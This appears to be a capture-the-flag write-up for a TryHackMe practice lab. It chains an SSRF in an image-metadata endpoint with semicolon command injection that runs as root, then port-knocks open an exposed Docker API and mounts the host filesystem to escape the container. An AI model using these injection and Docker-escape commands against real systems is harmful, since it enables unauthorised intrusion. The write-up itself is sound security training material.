The Great Escape
While enumeration was running, I just poked around as a user. We know there's a webserver and we know there's going to be a docker escape.
Sweet, the home page looks like we've got a little photo gallery type application going on. A sign-up/login functionality seems like a great place to poke.
Login:
Clicking sign-up we get:
/admin
and /courses
redirect to /login
At this point, enumeration finished:
$ sudo nmap -n $TARGET
...
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
Nmap done: 1 IP address (1 host up) scanned in 2.54 seconds
$ nikto --host $TARGET --port 80
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP: 10.10.143.147
+ Target Hostname: 10.10.143.147
+ Target Port: 80
+ Start Time: 2021-03-09 14:20:09 (GMT-5)
---------------------------------------------------------------------------
+ Server: nginx/1.19.6
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Entry '/api/' in robots.txt returned a non-forbidden or redirect HTTP code (503)
+ Entry '/*.bak.txt$' in robots.txt returned a non-forbidden or redirect HTTP code (200)
+ "robots.txt" contains 3 entries which should be manually viewed.
... a lot of junk...
The first thing there I checked out was robots.txt:
$ curl http://10.10.143.147/robots.txt
User-agent: *
Allow: /
Disallow: /api/
# Disallow: /exif-util
Disallow: /*.bak.txt$
And we can see in index source that the pages seem minified, and include static resources from /_nuxt
(HTTP 403). A quick lookup and we discover Nuxt is a Vue framework. No useful results from some reseach for exploits for _nuxt.
A peak at the commented out line, exif-util, and we see a lovely file upload form:
When we upload an image to it we get:
We also seem to be able to run curl requests from the target machine using this:
I fuzzed the URL to see if we could uncover any services on the target:
curl http://10.10.92.221/api/exif?url=http:%2F%2F127.0.0.1:8080
An error occurred: File format could not be determined
Retrieved Content
----------------------------------------
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Nothing to see here</title>
</head>
<body>
<p>Nothing to see here, move along...</p>
</body>
</html>
User Flag
I requested a hint from tryhackme. It tells me to look for some well known files. The only thing that comes to mind is OIDC's .well-known endpoint
curl http://10.10.92.221/.well-known/ 1 ⨯
<html>
<head><title>403 Forbidden</title></head>
<body>
<center><h1>403 Forbidden</h1></center>
<hr><center>nginx/1.19.6</center>
</body>
</html>
RFC 8615 defines the subdirectory for us. I searched around for common files found here and tried curling them one by one and finally found security.txt
:
And we find the user flag!
$ curl -I HEAD http://10.10.92.221/****
curl: (6) Could not resolve host: HEAD
HTTP/1.1 200 OK
Server: nginx/1.19.6
Date: Tue, 09 Mar 2021 22:36:33 GMT
Connection: keep-alive
flag: ******
Get A shell
I spent Way too much time on this before I finally figured it out... The one route on robots.txt I found nothing on was the backup wildcard. I tried all sorts of brute-forcing, before finally hitting something manually:
$ curl http://10.10.152.18/exif-util.bak.txt
curl http://10.10.152.18/exif-util.bak.txt 130 ⨯
<template>
<section>
<div class="container">
<h1 class="title">Exif Utils</h1>
<section>
<form @submit.prevent="submitUrl" name="submitUrl">
<b-field grouped label="Enter a URL to an image">
<b-input
placeholder="http://..."
expanded
v-model="url"
></b-input>
<b-button native-type="submit" type="is-dark">
Submit
</b-button>
</b-field>
</form>
</section>
<section v-if="hasResponse">
<pre>
{{ response }}
</pre>
</section>
</div>
</section>
</template>
<script>
export default {
name: 'Exif Util',
auth: false,
data() {
return {
hasResponse: false,
response: '',
url: '',
}
},
methods: {
async submitUrl() {
this.hasResponse = false
console.log('Submitted URL')
try {
const response = await this.$axios.$get('http://api-dev-backup:8080/exif', {
params: {
url: this.url,
},
})
this.hasResponse = true
this.response = response
} catch (err) {
console.log(err)
this.$buefy.notification.open({
duration: 4000,
message: 'Something bad happened, please verify that the URL is valid',
type: 'is-danger',
position: 'is-top',
hasIcon: true,
})
}
},
},
}
</script>
Reading through this carefully, we can see there used to be an endpoint at http://api-dev-backup:8080/exif
. Was it left up by accident? We can check with our internal tunnel!
$ curl http://10.10.152.18/api/exif?url=http://api-dev-backup:8080/exif?url=localhost:80
An error occurred: HTTP Exception 400 Bad Request
Response was:
---------------------------------------
<-- 400 http://api-dev-backup:8080/exif?url=localhost:80
Response : Bad Request
Length : 29
Body : Request contains banned words
Headers : (2)
Content-Type : text/plain;charset=UTF-8
Content-Length : 29
It is, maybe this one has less sanitization of the parameter?
$ curl http://10.10.152.18/api/exif?url=http://api-dev-backup:8080/exif?url=127.0.0.1%3Bid
An error occurred: File format could not be determined
Retrieved Content
----------------------------------------
An error occurred: File format could not be determined
Retrieved Content
----------------------------------------
uid=0(root) gid=0(root) groups=0(root)
Now let's not get too excited, we know this is a docker container. Although, we should know to never let applications run as root in Docker because this sets us up for a container escape now doesn't it! Now we want a reverse shell, but the basics are included in that bad words list...
$ curl "http://10.10.152.18/api/exif?url=http://api-dev-backup:8080/exif?url=127.0.0.1;which%20nc"
Body : Request contains banned words
We do have sh
$ curl "http://10.10.152.18/api/exif?url=http://api-dev-backup:8080/exif?url=127.0.0.1;which%20sh"
/bin/sh
But tcp/udp are on the banned words list so it looks like this is probably not going to work for us:
$ curl "http://10.10.152.18/api/exif?url=http://api-dev-backup:8080/exif?url=127.0.0.1;udp"
Body : Request contains banned words
So we're stuck poking around the system with curl for a while!
$ curl "http://10.10.152.18/api/exif?url=http://api-dev-backup:8080/exif?url=127.0.0.1;ls%20-la%20/root"
An error occurred: File format could not be determined
Retrieved Content
----------------------------------------
An error occurred: File format could not be determined
Retrieved Content
----------------------------------------
total 28
drwx------ 1 root root 4096 Jan 7 16:48 .
drwxr-xr-x 1 root root 4096 Jan 7 22:14 ..
lrwxrwxrwx 1 root root 9 Jan 6 20:51 .bash_history -> /dev/null
-rw-r--r-- 1 root root 570 Jan 31 2010 .bashrc
drwxr-xr-x 1 root root 4096 Jan 7 16:48 .git
-rw-r--r-- 1 root root 53 Jan 6 20:51 .gitconfig
-rw-r--r-- 1 root root 148 Aug 17 2015 .profile
-rw-rw-r-- 1 root root 201 Jan 7 16:46 dev-note.txt
$ curl "http://10.10.152.18/api/exif?url=http://api-dev-backup:8080/exif?url=127.0.0.1;cat%20/root/dev-note.txt"
An error occurred: File format could not be determined
Retrieved Content
----------------------------------------
An error occurred: File format could not be determined
Retrieved Content
----------------------------------------
Hey guys,
Apparently leaving the flag and docker access on the server is a bad idea, or so the security guys tell me. I\'ve deleted the stuff.
Anyways, the password is *****
Cheers,
Hydra
$ curl "http://10.10.152.18/api/exif?url=http://api-dev-backup:8080/exif?url=127.0.0.1;cat%20/root/.gitconfig"
An error occurred: File format could not be determined
Retrieved Content
----------------------------------------
An error occurred: File format could not be determined
Retrieved Content
----------------------------------------
[user]
email = hydragyrum@example.com
name = Hydra
Okay, we've got a password, but what does it do for us? (I tried ssh combination, but the ssh endpoint behaves very strangely... not worth pursuing for now) There's also a git repository here, and we have the git binary present on the machine:
$ curl "http://10.10.152.18/api/exif?url=http://api-dev-backup:8080/exif?url=127.0.0.1;cd%20/root;git%20status"
An error occurred: File format could not be determined
Retrieved Content
----------------------------------------
An error occurred: File format could not be determined
Retrieved Content
----------------------------------------
On branch master
Untracked files:
(use "git add <file>..." to include in what will be committed)
.bash_history
.bashrc
.gitconfig
.profile
nothing added to commit but untracked files present (use "git add" to track)
$ curl "http://10.10.152.18/api/exif?url=http://api-dev-backup:8080/exif?url=127.0.0.1;cd%20/root;git%20log"
An error occurred: File format could not be determined
Retrieved Content
----------------------------------------
An error occurred: File format could not be determined
Retrieved Content
----------------------------------------
commit 5242825dfd6b96819f65d17a1c31a99fea4ffb6a
Author: Hydra <hydragyrum@example.com>
Date: Thu Jan 7 16:48:58 2021 +0000
fixed the dev note
commit 4530ff7f56b215fa9fe76c4d7cc1319960c4e539
Author: Hydra <hydragyrum@example.com>
Date: Wed Jan 6 20:51:39 2021 +0000
Removed the flag and original dev note b/c Security
commit a3d30a7d0510dc6565ff9316e3fb84434916dee8
Author: Hydra <hydragyrum@example.com>
Date: Wed Jan 6 20:51:39 2021 +0000
Added the flag and dev notes
Okay, we can checkout that old commit:
$ curl "http://10.10.152.18/api/exif?url=http://api-dev-backup:8080/exif?url=127.0.0.1;cd%20/root;git%20checkout%20a3d30a7d0510dc6565ff9316e3fb84434916dee8"
An error occurred: File format could not be determined
Retrieved Content
----------------------------------------
An error occurred: File format could not be determined
Retrieved Content
----------------------------------------
Note: checking out 'a3d30a7d0510dc6565ff9316e3fb84434916dee8'.
You are in 'detached HEAD' state. You can look around, make experimental
changes and commit them, and you can discard any commits you make in this
state without impacting any branches by performing another checkout.
If you want to create a new branch to retain commits you create, you may
do so (now or later) by using -b with the checkout command again. Example:
git checkout -b <new-branch-name>
HEAD is now at a3d30a7 Added the flag and dev notes
$ curl "http://10.10.152.18/api/exif?url=http://api-dev-backup:8080/exif?url=127.0.0.1;cd%20/root;ls%20-la"
An error occurred: File format could not be determined
Retrieved Content
----------------------------------------
An error occurred: File format could not be determined
Retrieved Content
----------------------------------------
total 40
drwx------ 1 root root 4096 Mar 10 21:08 .
drwxr-xr-x 1 root root 4096 Jan 7 22:14 ..
lrwxrwxrwx 1 root root 9 Jan 6 20:51 .bash_history -> /dev/null
-rw-r--r-- 1 root root 570 Jan 31 2010 .bashrc
drwxr-xr-x 1 root root 4096 Mar 10 21:08 .git
-rw-r--r-- 1 root root 53 Jan 6 20:51 .gitconfig
-rw-r--r-- 1 root root 148 Aug 17 2015 .profile
-rw-r--r-- 1 root root 213 Mar 10 21:08 dev-note.txt
-rw-r--r-- 1 root root 75 Mar 10 21:08 flag.txt
$ curl "http://10.10.152.18/api/exif?url=http://api-dev-backup:8080/exif?url=127.0.0.1;cd%20/root;cat%20flag.txt"
An error occurred: File format could not be determined
Retrieved Content
----------------------------------------
An error occurred: File format could not be determined
Retrieved Content
----------------------------------------
You found the root flag, or did you?
THM{*****}
$ curl "http://10.10.152.18/api/exif?url=http://api-dev-backup:8080/exif?url=127.0.0.1;cd%20/root;cat%20dev-note.txt"
An error occurred: File format could not be determined
Retrieved Content
----------------------------------------
An error occurred: File format could not be determined
Retrieved Content
----------------------------------------
Hey guys,
I got tired of losing the ssh key all the time so I setup a way to open up the docker for remote admin.
Just knock on ports 42, 1337, 10420, 6969, and 63000 to open the docker tcp port.
Cheers,
Hydra
Port knocking again! We've seen this before! Easy enough.
$ knock -v -d 1000 10.10.152.18 42 1337 10420 6969 63000
hitting tcp 10.10.152.18:42
hitting tcp 10.10.152.18:1337
hitting tcp 10.10.152.18:10420
hitting tcp 10.10.152.18:6969
hitting tcp 10.10.152.18:63000
$ nmap
Lovely, let's do some damage!
$ export DOCKER_HOST=tcp://10.10.152.18:2375
$ docker ps
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
49fe455a9681 frontend "/docker-entrypoint.…" 2 months ago Up About an hour 0.0.0.0:80->80/tcp dockerescapecompose_frontend_1
4b51f5742aad exif-api-dev "./application -Dqua…" 2 months ago Up About an hour dockerescapecompose_api-dev-backup_1
cb83912607b9 exif-api "./application -Dqua…" 2 months ago Up About an hour 8080/tcp dockerescapecompose_api_1
548b701caa56 endlessh "/endlessh -v" 2 months ago Up About an hour 0.0.0.0:22->2222/tcp dockerescapecompose_endlessh_1
$ docker image ls
REPOSITORY TAG IMAGE ID CREATED SIZE
exif-api-dev latest 4084cb55e1c7 2 months ago 214MB
exif-api latest 923c5821b907 2 months ago 163MB
frontend latest 577f9da1362e 2 months ago 138MB
endlessh latest 7bde5182dc5e 2 months ago 5.67MB
nginx latest ae2feff98a0c 2 months ago 133MB
debian 10-slim 4a9cd57610d6 2 months ago 69.2MB
registry.access.redhat.com/ubi8/ubi-minimal 8.3 7331d26c1fdf 3 months ago 103MB
alpine
# Use alpine, test that AC let's us run containers
$ docker run --rm -it 78a2ce922f86 /bin/sh
/ # id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)
# Now, let's try to mount host volume
docker run --rm --volume /:/home -it 78a2ce922f86 /bin/sh
/ # ls /home
bin etc initrd.img.old lost+found opt run swapfile usr vmlinuz.old
boot home lib media proc sbin sys var
dev initrd.img lib64 mnt root srv tmp vmlinuz
/ # ls /home/root
flag.txt
/ # cat /home/root/flag.txt
Congrats, you found the real flag!
THM{*******}
Wohooo!